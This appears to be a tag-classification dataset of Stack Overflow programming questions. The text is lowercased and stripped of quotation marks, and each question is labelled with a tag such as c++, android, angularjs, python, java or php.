what  s difference between copy construct function and = operator  i write a simple code my question is:why item_base just call constrcut function should item_base call  copy construct  function   i observe that when i create item_base2 it calls  copy construct function  but item_base doesn t call  copy construct  function .what s the difference    <pre><code>class item_base {     public:         item_base();         item_base(int);         item_base(const item_base &amp;base);         void operator=(const item_base &amp;item);         virtual ~item_base(); };  item_base::item_base() {     cout &lt;&lt;  construct function  &lt;&lt; endl; }  item_base::item_base(int a) {     cout &lt;&lt;  arg construct function  &lt;&lt; endl; } item_base::item_base(const item_base &amp;base) {     cout &lt;&lt;  copy function  &lt;&lt; endl; }  void item_base::operator=(const item_base &amp;item) {     cout &lt;&lt;  = operator  &lt;&lt; endl; }  item_base::~item_base() { }   int main() {     //cout &lt;&lt;  hello world!  &lt;&lt; endl;     item_base item_base = item_base(1);//construct function     item_base item_base2 = item_base;//copy construct  function     item_base item_base3;     item_base3 = item_base2;// =operator function     return 0; } </code></pre>,c++
safari opens pages but web view is not  i am using <code>uiwebview</code> to load a page  the page to load is made with ajax asynchronous  i don t know why  my <code>uiwebview</code> is not able to load the page  but safari is able to load the same.    any help related to the same is appreciated!!    thanks,ios
changing activities within tab  alright  so i have an application that has a tabbed interface. what i would like to know is how i can change the currently active activity in the tab  and then when i m done with that activity  go back the the original activity  exactly as it was.    would i be able to use something like a viewflipper for this  or probably not,android
when do i own an object in objective c   i am new to <code>objective-c</code> and am reading about the memory management guideline. i am a bit confused about the following two statements:   <ol> <li>you only own an object if you <code>new</code>  <code>alloc</code>  <code>retain</code> and <code>copy</code> to create it.</li> <li>when a local variable (a pointer) points to an object  the variable owns the object.</li> </ol>   here is my confusions:   <ol> <li> what is the difference between  you own the object  and  variable owns the object   if i create an object via <code>new/alloc/retain/copy</code>  i actually create a pointer to point to it so the pointer owns the object. so the two sayings are the same to me. </li> <li> for convenience method  it usually looks like:   <pre><code>- (xyzitem *)itemonthefly:(id)sender {     xyzitem *item = [[xyzitem alloc] init]; /* now the object has one owner  *item */      return item; } </code></pre></li> </ol>   and i call this method:   <pre><code>xyzitem *myitem = [xyzitem itemonthefly]; </code></pre>   to my understanding  the object should has one owner  which is <code>*myitem</code>. why some books say that this way <code>*myitem</code> doesn t own the object this way  it is still a pointer pointing to an object. a pointer pointing an object should own the object. if *myitem is done with the object  to me  it still needs to release the object. but it seems it is not necessary. if all the code is within autoreleasepool  the pool is the sole owner of the object and will release it automatically. <code>*myitem</code> doesn t need to. how can it be like that  if this is the case  then we don t need the strong/weak reference. put all weak reference into this type of no-ownership-reference and doesn t increase the owner counter of the object!,objective-c
how to implement discount for products in rails  i m trying to implement a discount for each individual product in a catalogue. i added new field to products table - discount. how do i recalculate product.price if discount.present     i tried to add helper to product.rb:   <pre><code>def price  old_price = self.price  if self.discount.present    self.price -= self.price / self.discount  else   old_price end </code></pre>   but it gets me to  stack level too deep  error,ruby-on-rails
rollback transaction error in rails app  i am trying to build a shopping cart system in my rails app by following this <a href= https://richonrails.com/articles/building-a-shopping-cart-in-ruby-on-rails  rel= nofollow noreferrer >tutorial</a>. everything worked fine but when i try to add a product(in my case it s chair) all i get is a pop up saying not valid  the terminal shows no errors other then <strong>rollback trasaction</strong>.    <strong>my product model</strong>   <pre><code>class chair &lt; applicationrecord     mount_uploader :image  imageuploader     mount_uploader :previewo  previewouploader     mount_uploader :previewt  previewtuploader     mount_uploader :previewth  previewthuploader     has_many :order_items     validates :description  presence: true  length: { maximum: 600 }     default_scope { where(active: true) } end </code></pre>   <strong>order.rb</strong>   <pre><code>class order &lt; applicationrecord   belongs_to :order_status     belongs_to :order_status   has_many :order_items   before_create :set_order_status   before_save :update_subtotal    def subtotal     order_items.collect { |oi| oi.valid    (oi.quantity * oi.unit_price) : 0 }.sum   end private   def set_order_status     self.order_status_id = 1   end    def update_subtotal     self[:subtotal] = subtotal   end end </code></pre>   <strong>order_item.rb</strong>   <pre><code>class orderitem &lt; applicationrecord   belongs_to :chair   belongs_to :order    validates :quantity  presence: true  numericality: { only_integer: true  greater_than: 0 }   validate :chair_present   validate :order_present    before_save :finalize    def unit_price     if persisted        self[:unit_price]     else       chair.price     end   end    def total_price     unit_price * quantity   end  private   def chair_present     if chair.nil        errors.add(:chair   is not valid or is not active. )     end   end    def order_present     if order.nil        errors.add(:order   is not a valid order. )     end   end    def finalize     self[:unit_price] = unit_price     self[:total_price] = quantity * self[:unit_price]   end end </code></pre>   <strong>orderstatus.rb</strong>   <pre><code>class orderstatus &lt; applicationrecord     has_many :orders end </code></pre>   <strong>terminal output</strong>   <pre><code>started post  /order_items  for 127.0.0.1 at 2018-07-05 22:42:29 +0530 processing by orderitemscontroller#create as js   parameters: { utf8 =&gt; ✓    order_item =&gt;{ quantity =&gt; 1    chair_id =&gt; 3 }   commit =&gt; add to cart }    (0.2ms)  begin transaction   chair load (2.0ms)  select   chairs .* from  chairs  where  chairs . active  =   and  chairs . id  =   limit    [[ active    t ]  [ id   3]  [ limit   1]]    (0.2ms)  rollback transaction   rendering order_items/create.js.erb   rendered order_items/create.js.erb (1.2ms) completed 200 ok in 77ms (views: 14.9ms | activerecord: 2.4ms) </code></pre>,ruby-on-rails
resubmit rejected iphone app  i made the changes indicated in rejection report  and ready to submit the app again. do i     <ol> <li>go through the add new app process again like the first time and fill out all the information  or</li> <li>simply click  ready to upload binary  and upload the binary from xcode - meaning other than uploading the fixed binary  there is nothing else to do</li> </ol>,iphone
initial value of select not set in angularjs  in angularjs 1.3 app i have a form on which i get model and possible values for select controls asynchronously from backend. when i get model value before values used in <code>ng-options</code>  no options becomes selected in select control. i managed to reproduce this behaviour:   <pre><code>var app = angular.module( plunker   []);  app.controller( mainctrl   function($scope  $timeout) {   $scope.model = { value: 101 };    $timeout(function() {     $scope.model.values = [100  101  102  103];   }  1000);  }); </code></pre>   view:   <pre><code>options: &lt;select ng-model= model.value        ng-options= v for v in model.values &gt;       &lt;option value=  &gt;select some...&lt;/option&gt;     &lt;/select&gt; </code></pre>   after timeout model has its old value 101 but no option is selected. currently i find a workaround by using <code>ng-if= model.values </code> on select  but i feel that there should be better way to do it.    could somebody explain why option is not selected     plunkr: <a href= http://plnkr.co/edit/4opzrjzddfjhsnjx8rmf >http://plnkr.co/edit/4opzrjzddfjhsnjx8rmf</a>    edit: i opened plunkr in firefox and i started to work  then i back to chrome and it didn t work looks like crossbrowser issue...,angularjs
is there a way to initialize an angular service without di into controller  i have a <a href= http://plnkr.co/edit/1didcn5ahnwapuqtvxin p=preview  rel= nofollow >service like this</a>   <pre><code>function broadcastclock($interval  $rootscope){     this.ticker = $interval(function(){         console.log( tick );         $rootscope.$emit( clocktick );     }  1000); } function clockservice($interval  $rootscope) {     var clock = new broadcastclock($interval  $rootscope); } </code></pre>   this does not work unless i change the controller to declare   <pre><code>app.controller( mainctrl   function($scope  $rootscope  clockservice) </code></pre>   in more complex situations (say multiple routes) this adds an extra injection for really no reason. what is the better way to handle this     <strong>trying to clarify a bit (i don t get the -1 but whatever)</strong>    the problem i have here is that i do not need to initialize the service using an actual controller. this service in fact feeds into multiple controllers. the singleton aspect helps me keep a single clock for all controllers.    however  the controllers themselves do not interact with it only via the proxy of the rootscope broadcast so i don t see the need to inject it into the actual controller.     see the plunker for more info it won t work  however  when you change   <pre><code>app.controller( mainctrl   function($scope  $rootscope) //to app.controller( mainctrl   function($scope  $rootscope  clockservice)  </code></pre>   it works fine  we are not  doing  anything with the service except listening for broadcasts so it doesn t make any sense to inject.,angularjs
css: displaying one particular icon from an image file  how does one set the css <code>background-image</code> property to just load one particular icon from a larger image     for example  jquery ui themes its dialog widget using the following png image file: <a href= http://dev.jqueryui.com/browser/trunk/themes/base/images/ui-icons_2e83ff_256x240.png  rel= noreferrer >http://dev.jqueryui.com/browser/trunk/themes/base/images/ui-icons_2e83ff_256x240.png</a>  which encodes a bunch of icons in it. then  as demoed in <a href= http://docs.jquery.com/ui/dialog  rel= noreferrer >http://docs.jquery.com/ui/dialog</a> the bottom right resize handle loads the very last icon from the png.    using firebug i can see a bunch of css properties like <code>ui-icon ui-icon-gripsmall-diagonal-se ui-icon-grip-diagonal-se</code> applied that refers to <code>url(ui-icons.xx.png)</code>  but nothing about selecting a particular icon.,css
why this function doesn t return a list in python   i m trying to remove tabs and end of lines from content pasted from a table and create a list with its elements:    <pre><code>string =  a sdfs 234f f ff2e    def pastetrim(var):        var = str(var)          var = var.replace( \n     ).replace( \t     )         var = var.split(   )          return var  pastetrim(string)  print(type(string)) </code></pre>   the output is <code>&lt;class  str &gt;</code> while i expected <code>&lt;class  list &gt;</code> because of <code>var.split</code>.     [edit]    according to the answers: in this example  the assignments inside pastetrim() don t extend beyond the function execution itself.     is there any way to provide a variable as an argument to a function and have its value modified just by executing the function,python
unable to update property using enum  i used an enum code that is    <pre><code>-(void)setlabeltextforcategory:(myfoodcategory)category {     switch(category) {         case myfoodcategoryvegetable:             self.categorylabel.text = @ vegetable ;             break;         case myfoodcategorymeat:             self.categorylabel.text = @ meat ;             break;         case myfoodcategoryfish:             self.categorylabel.text = @ poisson ;             break;         case myfoodcategorysweet:             self.categorylabel.text = @ dessert ;             break;     } } </code></pre>   however i get an error that says property categorylabel not found on object type of  viewcontroller . am i doing something wrong or did i forget something     update  ive only written this code and nothing else    <pre><code>typedef ns_enum(nsuinteger  myfoodcategory){ myfoodcategoryvegetable = 0  myfoodcategorymeat = 1  myfoodcategoryfish = 2  myfoodcategorysweet = 3  }; </code></pre>,ios
jquery: a function after some time interval only if specific condition does not occur  i have a jquery function!    when the user clicks on a div  that function is executed! i dont want that function to execute again if the user clicks on the div within 5 seconds.     what could be the solution for this     help appreciated. thanks!,jquery
illegalargumentexception while trying to get contact photo android  i am working on a contact application  its to show missed calls  dialed calls  the issue comes in when someone whose cell number is not calls  i have a method that tries to get the caller name based on the cell number then another one which gets the contactid based on the number then the name  number and contactid is saved in a sqllited database if the caller is not saved in phonebook the contactid is assigned a random interger  when i want to retrieve the callers  i call out a method that gets the number  name and contactid  on display i use the contactid to run through the phone and retrieve the caller s display picture  but looking at things the error is coming about when the contact is unsaved  the method that retrieves the caller is unsaved  the random value stored in the contactid variable is matched against the phone if this happens i get the <code>illegalargumentexception</code> exception on  <code>context.getcontentresolver().query(photouri                  new string[]{contactscontract.contacts.photo.photo}  null  null  null);</code>here is my full method that returns display bitmap   <pre><code>  public bitmap openphoto(long contactid  context context) {     uri contacturi = contenturis.withappendedid(contactscontract.contacts.content_uri  contactid);     uri photouri = uri.withappendedpath(contacturi  contactscontract.contacts.photo.content_directory);     cursor cursor = context.getcontentresolver().query(photouri              new string[]{contactscontract.contacts.photo.photo}  null  null  null);     if (cursor == null) {         return null;     }     try {         if (cursor.movetofirst()) {             byte[] data = cursor.getblob(0);             if (data != null) {                  log.d( btmap   bitmap exists );                 return bitmapfactory.decodestream(new bytearrayinputstream(data));             }         }     } finally {         cursor.close();     }     log.d( btmap   bitmap dont exist );     return null;   } </code></pre>   could anyone help me on how to overcome this error  when i run the <code>openphoto</code>  method in the <code>(illegalargumentexception e)</code> try catch block non of the display pictures load even the ones that are saved in contact book and have images on them  thank you in advance.,android
how to extract a command from a string - python  i have a command like this:   <pre><code>test = ( print(  it works!  )  ) </code></pre>   and i want to use the command which is inside of that string. do you know how can i extract it and use it     thank you very much  remus,python
displaying array in uitableview  i have an array created like this:   <pre><code>[currentquizarrayquestions insertobject:[quizarrayquestions objectatindex:randomindex] atindex:0]; </code></pre>   how do i access its data to display in the table     i m trying this:   <pre><code> nsstring *cellvalue = [currentquizarrayquestions objectatindex:indexpath.row]; </code></pre>   cell.textlabel.text = cellvalue;    i know it s wrong  but how do i get to the data array object stored in the <code>currentquizarrayquestions</code> array.,objective-c
how to exit complete android application  what is the best way to exit complete android application (not a single activity) when a button is pressed     i ve tried using <code>finish()</code> but it only closed the active activity.,android
discrete event simulation (java)  i have two classes  neuron and synapse( synapse has sub classes primary  secondary). when a neuron s voltage exceeds its threshold it fires but also sends an impulse to all synapses. i created a method which creates an event when voltage > threshold. <strong>my question is:</strong> how to i create an event to trigger an event of an object from another class  ( the code i have gives an error: not an enclosing class ) if needed i can post my code.   <pre><code>import java.io.file; import java.io.filenotfoundexception; import java.util.linkedlist; import java.util.priorityqueue; import java.util.regex.pattern; import java.util.scanner;  // simulation classes class simulator {      /**      * framework for discrete event simulation.      */      public interface action {          // actions contain the specific code of each event          void trigger(float time);     }      private static class event {          public float time; // the time of this event         public action act; // what to do at that time     }      private static priorityqueue&lt;event&gt; eventset             = new priorityqueue&lt;event&gt;(                     (event e1  event e2) -&gt; float.compare(e1.time  e2.time)             );      static void schedule(float time  action act) {         /**          * call schedule to make act happen at time. users typically pass the          * action as a lambda expression:          * &lt;pre&gt;          *  simulator.schedule(t (float time)-&gt;method(params time))          * &lt;/pre&gt;          */         event e = new event();         e.time = time;         e.act = act;         eventset.add(e);     }      static void run() {         /**          * call run after scheduling some initial events to run the simulation.          */         while (!eventset.isempty()) {             event e = eventset.remove();             e.act.trigger(e.time);         }     } }  // utility classes /**  * error reporting methods  */ class errors {      static void fatal(string message) {         system.err.println( fatal error:   + message);         system.exit(1);     }      static void warning(string message) {         system.err.println( error:   + message);     } }  /**  * input scanning support methods  */ class scansupport {      /**      * interface allowing error messages passed as lambda expressions      */     public interface errormessage {          abstract string mystring();     }      /**      * force there to be a line end here  complain if not      */     static void lineend(scanner sc  errormessage message) {         string skip = sc.nextline();         if (!  .equals(skip)) { // bug:  do we want to allow comments here             errors.warning(                     message.mystring()                     +   -- expected a newline              );         } // bug:  should we allow comments here  // bug:  what if sc.nextline() was illegal (illegal state)     }      /* really private to nextname */     private static final pattern name = pattern.compile( [a-za-z]\\w* );      /**      * get the next float  or complain if there isn t one      */     static string nextname(scanner sc  errormessage message) {         if (sc.hasnext(name)) {             return sc.next(name);         } else {             errors.warning(                     message.mystring()                     +   -- expected a name              );             return null;         }     }      /**      * get the next float  or complain if there isn t one      */     static float nextfloat(scanner sc  errormessage message) {         if (sc.hasnextfloat()) {             return sc.nextfloat();         } else {             errors.warning(                     message.mystring()                     +   -- expected a number              );             return 99.99f;         }     } }  // simulation classes /**  * neurons are joined by synapses  *  * @see synapse  */ class neuron {      string name; // name of this neuron      public static class illegalnameex extends exception {     }  // default values below for errors with incompletely defined neurons     private float threshold = 99.99f;// voltage at which the neuron fires     public float voltage = 99.99f; // voltage at the given time     private float time = 0.0f; // (see above)      private linkedlist&lt;synapse&gt; synapses; // the outputs of this neuron  // initializer     public neuron(scanner sc) throws illegalnameex { // scan and process one neuron         string name = scansupport.nextname(                 sc                  () -&gt;  neuron              );         if (name == null) { // nextname() already reported syntax error             sc.nextline();             throw new illegalnameex();         }         this.name = name;         if ((neuronnetwork.findneuron(name) != null)                 || (neuronnetwork.findsynapse(name) != null)) {             errors.warning(                      neuron   + name                     +   -- duplicate declaration              );             sc.nextline();             throw new illegalnameex();         }         threshold = scansupport.nextfloat(                 sc                  () -&gt; neuron.this.tostring()         );         voltage = scansupport.nextfloat(                 sc                  () -&gt; neuron.this.tostring()         );         scansupport.lineend(                 sc                  () -&gt; neuron.this.tostring()         );     }  // other methods     public string tostring() {         return (time +                     +  neuron                   + name);     }  // simulation methods     public void fireneuron(float t) {         if (this.voltage &gt; this.threshold) {             simulator.schedule(                     t                      (float time) -&gt; this.voltagezero(time)             );             simulator.schedule(                     t                      (float time) -&gt; synapse.this.impulse(time)             );         }     }      public void voltagezero(float t) {         voltage = 0.0f;         system.out.println(this.tostring());     } }  /**  * synapses come in several flavors  *  * @see neuron  * @see primarysynapse  * @see secondarysynapse  */ abstract class synapse { // default values below for errors with incompletely defined synapses      neuron source; // source for this synapse     float delay = 99.99f;     float strength = 99.99f;     string name = null; // name of this synapse  if it has one      public static class illegalnameex extends exception {     }  // really private to synapse initializer     private static final pattern noname = pattern.compile( - );  // generic initializer     static synapse newsynapse(scanner sc) throws illegalnameex { // proxies for fields until we know the type of this synapse         string myname = null;         neuron mysource = null;  // only one of the following proxies will be non-null         neuron myprimarydest = null;         synapse mysecondarydest = null;  // the synapse we re allocating         synapse mysynapse = null; // scan and process one synapse         if (sc.hasnext(noname)) { // unnamed synapse             sc.next(noname);         } else { // named synapse  process the name             myname = scansupport.nextname(                     sc                      () -&gt;  synapse                  );             if (myname == null) { // nextname() already reported syntax error                 sc.nextline();                 throw new illegalnameex();             }             if ((neuronnetwork.findneuron(myname) != null)                     || (neuronnetwork.findsynapse(myname) != null)) {                 errors.warning(                          synapse   + myname                         +   -- duplicate declaration                  );                 sc.nextline();                 throw new illegalnameex();             }         }  // the following is needed because of limits of java lambda         final string finalname = myname;          string sourcename = scansupport.nextname(                 sc                  () -&gt; ( synapse                   + (finalname != null   finalname :  - )                 +       )         );         string dstname = scansupport.nextname(                 sc                  () -&gt; ( synapse                   + (finalname != null   finalname :  - )                 +                     + (sourcename != null   sourcename :  --- )                 +       )         );         mysource = neuronnetwork.findneuron(sourcename);         myprimarydest = neuronnetwork.findneuron(dstname);         if (myprimarydest == null) {             mysecondarydest = neuronnetwork.findsynapse(dstname);             mysynapse = new secondarysynapse(mysecondarydest);         } else {             mysynapse = new primarysynapse(myprimarydest);         }  // the following is needed because of limits of java lambda         final synapse finalsynapse = mysynapse;          finalsynapse.name = finalname;         finalsynapse.source = mysource;         finalsynapse.delay = scansupport.nextfloat(                 sc                  () -&gt; finalsynapse.tostring()         );         finalsynapse.strength = scansupport.nextfloat(                 sc                  () -&gt; finalsynapse.tostring()         );         scansupport.lineend(                 sc                  () -&gt; finalsynapse.tostring()         );  // check correctness of fields         if ((sourcename != null) &amp;&amp; (mysource == null)) {             errors.warning(                     finalsynapse.tostring()                     +   -- no such source              );         }         if ((dstname != null)                 &amp;&amp; (myprimarydest == null)                 &amp;&amp; (mysecondarydest == null)) {             errors.warning(                     finalsynapse.tostring()                     +   -- no such destination              );         }         if (finalsynapse.delay &lt; 0.0f) {             errors.warning(                     finalsynapse.tostring()                     +   -- illegal negative delay              );             finalsynapse.delay = 99.99f;         }         return finalsynapse;     }  // other methods     public abstract string tostring();  // simulation     public void impulse(float t) {         simulator.schedule(                 t + delay                  (float time) -&gt; this.synapsefire(time)         );     }      public abstract void synapsefire(float t); }  /**  * primary synapses join neurons to neurons  *  * @see neuron  * @see synapse  */ class primarysynapse extends synapse {      neuron destination;      public primarysynapse(neuron dst) { // called from synapse.newsynapse() and nowhere else // all the field initialization and checking is done there  // except the following:         destination = dst;     }  // other methods     public string tostring() {         return ( synapse                   + (name != null   name :  - )                 +                     + (source != null   source.name :  --- )                 +                     + (destination != null   destination.name :  --- )                 +     + delay +     + strength);     } //simulation methods      public void synapsefire(float t) { // when a primary synapse is fired  destination neuron voltage is incremented by strength         float oldvoltage = destination.voltage; // used to print old voltage vs new         destination.voltage = destination.voltage + strength;     } }  /**  * secondary synapses join neurons to primary synapses  *  * @see neuron  * @see synapse  * @see primarysynapse  */ class secondarysynapse extends synapse {      primarysynapse destination;      public secondarysynapse(synapse dst) { // called from synapse.newsynapse() and nowhere else // all the field initialization and checking is done there  // except the following:          if ((dst != null)                 &amp;&amp; (dst instanceof secondarysynapse)) {             errors.warning(                     this.tostring()                     +   -- destination is a secondary synapse              );             destination = null;         } else {             destination = (primarysynapse) dst;         }     }  // other methods     public string tostring() {         return ( synapse                   + (name != null   name :  - )                 +                     + (source != null   source.name :  --- )                 +                     + (destination != null   destination.name :  --- )                 +     + delay +     + strength);     } //simulation methods      public void synapsefire(float t) { // when a secondary fires  the destination synapses strength is incremented by strength         float oldstrength = destination.strength; // used to print old strength vs new         destination.strength = destination.strength + strength;     } }  /**  * neuronnetwork is the main class that builds the whole model  *  * @see neuron  * @see synapse  */ public class neuronnetwork {  // the sets of all neurons and synapses     static linkedlist&lt;neuron&gt; neurons             = new linkedlist&lt;neuron&gt;();     static linkedlist&lt;synapse&gt; synapses             = new linkedlist&lt;synapse&gt;();      /**      * look up s in neurons  find that neuron if it exists return null if not.      */     public static neuron findneuron(string s) {         /* special case added because scan-support can return null */         if (s == null) {             return null;         }          /* search the neuron list */         for (neuron n : neurons) {             if (n.name.equals(s)) {                 return n;             }         }         return null;     }      /**      * look up s in synapses  find that synapse if it exists return null if not.      */     public static synapse findsynapse(string s) {         /* special case added because scan-support can return null */         if (s == null) {             return null;         }          /* search the synapse list */         for (synapse sy : synapses) {             if ((sy.name != null) &amp;&amp; (sy.name.equals(s))) {                 return sy;             }         }         return null;     }      /**      * initialize the neuron network by scanning its description      */     static void initializenetwork(scanner sc) {         while (sc.hasnext()) {             string command = sc.next();             if ( neuron .equals(command)) {                 try {                     neurons.add(new neuron(sc));                 } catch (neuron.illegalnameex e) {                 }             } else if ( synapse .equals(command)) {                 try {                     synapses.add(synapse.newsynapse(sc));                 } catch (synapse.illegalnameex e) {                 }             } else {                 errors.warning(command +   -- what is that );                 sc.nextline();             }         }     }      /**      * print out the neuron network from the data structure      */     static void printnetwork() {         for (neuron n : neurons) {             system.out.println(n.tostring());         }         for (synapse s : synapses) {             system.out.println(s.tostring());         }     }      /**      * main program      *      * @see initializenetwork      * @see printnetwork      */     public static void main(string[] args) {         if (args.length &lt; 1) {             errors.fatal( missing file name );         }         if (args.length &gt; 1) {             errors.fatal( too many arguments );         }         try {             initializenetwork(new scanner(new file(args[0])));         } catch (filenotfoundexception e) {             errors.fatal( file not found:   + args[0]);         }         printnetwork();     } } </code></pre>,java
headers already sent  cant find white space or html output  getting this error... normally associate it with a space / output before the php / headers sent but cant get to the bottom of this one.    so the error is:   <pre><code>warning: cannot modify header information - headers already sent by  (output started at /applications/mamp/htdocs/website/index.php:11) in  /applications/mamp/htdocs/website/process/checkautologin.php on line 65  warning: cannot modify header information - headers already sent by  (output started at /applications/mamp/htdocs/website/index.php:11)  in /applications/mamp/htdocs/website/process/checkautologin.php on line 120 </code></pre>   index php looks like this at the top:   <pre><code>&lt;html&gt;   &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;buildsanctuary&lt;/title&gt;     &lt; php     require  init.php ;      &gt; </code></pre>   line 11 is the opening php tag.    line 65 in check auto login is:   <pre><code>setcookie ( cookie  0 time() -3600  / ); </code></pre>   and its surrounding code is:   <pre><code>//  login  the user by setting the usual sessions $_session[ user ] = $usernameuser; $_session[ userid ] = $userid; $_session[ logged ] =  1 ; setcookie( cookie  0 time() -3600  / );  // query the database to try and find a mactching row: $query =   delete from `remember_me` where `token` = :token  ;   // create bound values $query_params = array(     :token  =&gt; $row[ token ]  );  </code></pre>   this is the bottom part:   <pre><code>// set new cookie setcookie ( cookie  $new_cookie_val time() + (10 * 365 * 24 * 60 * 60)  / ); }  catch(pdoexception $ex)  {   &lt;-- this is line 120.            } </code></pre>   any ideas,php
how to avoid page postback on dropdown selected index changed  i have bind some dynamic data on selected index changed of dropdown but when i click on submit button on page postback data which was bound is gone. as data is bind on selected index changed of dropdown if(!(ispostback)) is not working for me     can you please tell how to solve this problem plz help    thanks. tina,asp.net
div organization needed in order to achieve specific behavior  please take a look at image below<br> all i want is somehow organize <strong>div</strong> in order to achieve behavior drawn.<br> <strong>div 2</strong> height can be dynamically changed and based on height i want containers to behave like i draw them.<br> the main problem that i encounter is that div in this case will try to  force down both <strong>div 3</strong> and <strong>div 4</strong> (which is incorrect).<br> if this is not possible with <strong>div</strong> only solution then maybe you can point at different container which can help here   but still div is proffered option.      <img src= https://i.stack.imgur.com/hws4l.png  alt= div 2 resize >    <strong>update</strong><br> this 2 cases should work as well.    <img src= https://i.stack.imgur.com/zvmez.png  alt= div update >,html
angular js show and hide not working as expected  i want a select (division) that when  information technology  is selected  displays 3 radio buttons (it role). when either of the first 2 are clicked  i want 4 radio buttons to appear (request types) and when the last radio is clicked  i want another dropdown select (function).    here is a <a href= http://plnkr.co/edit/o1ludznaykwdzscvoccr p=preview  rel= nofollow >plunkr</a>.    when  information technology  is selected  the function drop-down that should only show if resource is selected also shows and won t go away if  information technology  is deselected.    also as i click the radio buttons  they remain selected -- not what radio buttons should do.    here is the template:   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= myapp &gt;    &lt;head&gt;     &lt;link data-require= bootstrap-css@3.1.1  data-semver= 3.1.1  rel= stylesheet  href= //netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css  /&gt;     &lt;script data-require= jquery@*  data-semver= 1.8.2  src= //cdnjs.cloudflare.com/ajax/libs/jquery/1.8.2/jquery.js &gt;&lt;/script&gt;     &lt;script data-require= angular.js@1.2.16  data-semver= 1.2.16  src= https://code.angularjs.org/1.2.16/angular.js &gt;&lt;/script&gt;     &lt;script data-require= bootstrap@*  data-semver= 3.1.1  src= //netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js &gt;&lt;/script&gt;     &lt;link rel= stylesheet  href= style.css  /&gt;     &lt;script src= script.js &gt;&lt;/script&gt;   &lt;/head&gt;    &lt;body ng-controller= formcontroller &gt;      &lt;div class= frmelement &gt;         &lt;label&gt;division: &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;         &lt;select name= division  ng-model= seldivisions &gt;             &lt;option value=  &gt;select division ...&lt;/option&gt;             &lt;option value= 1 &gt;human resources&lt;/option&gt;             &lt;option value= 2 &gt;management&lt;/option&gt;             &lt;option value= 3 &gt;information technology&lt;/option&gt;             &lt;option value= 4 &gt;accounting&lt;/option&gt;         &lt;/select&gt;     &lt;/div&gt;      &lt;div class= frmelement  data-ng-show= seldivisions ==  3  &gt;       &lt;label&gt;please choose your role in the it system: &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;        &lt;input type= radio  ng-model= user_role.pm  value =  pm &gt;&amp;nbsp;&amp;nbsp;       &lt;span class= chkbx_choice &gt;project manager&lt;/span&gt;       &lt;br /&gt;       &lt;input type= radio  ng-model= user_role.rc  value =  rc &gt;&amp;nbsp;&amp;nbsp;       &lt;span class= chkbx_choice &gt;request coordinator&lt;/span&gt;       &lt;br /&gt;       &lt;input type= radio  ng-model= user_role.rs  value =  rs &gt;&amp;nbsp;&amp;nbsp;       &lt;span class= chkbx_choice &gt;resource&lt;/span&gt;   &lt;/div&gt;    &lt;div class= frmelement  data-ng-show= seldivisions ==  3  &amp;&amp; (user_role ==  pm  || user_role ==  rc )  data-ng-hide= !user_role || user_role ==  rs  &gt;     &lt;label&gt;request types: &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;     &lt;input type= checkbox  name= cor_types  value= email &gt;&amp;nbsp;&amp;nbsp;     &lt;span class= chkbx_choice &gt;email campaign&lt;/span&gt;     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     &lt;input type= checkbox  name= cor_types  value= report &gt;&amp;nbsp;&amp;nbsp;     &lt;span class= chkbx_choice &gt;report&lt;/span&gt;     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     &lt;input type= checkbox  name= cor_types  value= sap &gt;&amp;nbsp;&amp;nbsp;     &lt;span class= chkbx_choice &gt;sap&lt;/span&gt;     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     &lt;input type= checkbox  name= cor_types  value= web &gt;&amp;nbsp;&amp;nbsp;     &lt;span class= chkbx_choice &gt;web&lt;/span&gt;   &lt;/div&gt;    &lt;div class= frmelement  data-ng-show= seldivisions ==  3  &amp;&amp; user_role =  rs   data-ng-hide= seldivisions !=  3  || user_role ==    || user_role ==  pm  || user_role ==  rc  &gt;     &lt;label&gt;function: &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;     &lt;select name= division  ng-model= selfunctions &gt;         &lt;option value=  &gt;select function ...&lt;/option&gt;         &lt;option value= al &gt;analyst&lt;/option&gt;         &lt;option value= ds &gt;designer&lt;/option&gt;         &lt;option value= dv &gt;developer&lt;/option&gt;         &lt;option value= tn &gt;technician&lt;/option&gt;     &lt;/select&gt;   &lt;/div&gt;    &lt;/body&gt;  &lt;/html&gt; </code></pre>,angularjs
php code doesn t show mysql table  i have used this code to show a table named  me  from a database with  punisher  name.but it doesn t show anything.    is the problem with my code or another things  i have installed mysql and apache web server in my pc.    here is the code :   <pre><code>&lt; php $db_host =  localhost ; $db_user =  root ; $db_pwd =  ******** ;  $database =  punisher ; $table =  me ;  if (!mysql_connect($db_host  $db_user  $db_pwd))     die( can t connect to database );  if (!mysql_select_db($database))     die( can t select database );  // sending query $result = mysql_query( select * from {$table} ); if (!$result) {     die( query to show fields from table failed ); }  $fields_num = mysql_num_fields($result);  echo  &lt;h1&gt;table: {$table}&lt;/h1&gt; ; echo  &lt;table border= 1 &gt;&lt;tr&gt; ; // printing table headers for($i=0; $i&lt;$fields_num; $i++) {     $field = mysql_fetch_field($result);     echo  &lt;td&gt;{$field-&gt;name}&lt;/td&gt; ; } echo  &lt;/tr&gt;\n ; // printing table rows while($row = mysql_fetch_row($result)) {     echo  &lt;tr&gt; ;      // $row is array... foreach( .. ) puts every element     // of $row to $cell variable     foreach($row as $cell)     echo  &lt;td&gt;$cell&lt;/td&gt; ;      echo  &lt;/tr&gt;\n ; } mysql_free_result($result);  &gt; </code></pre>,php
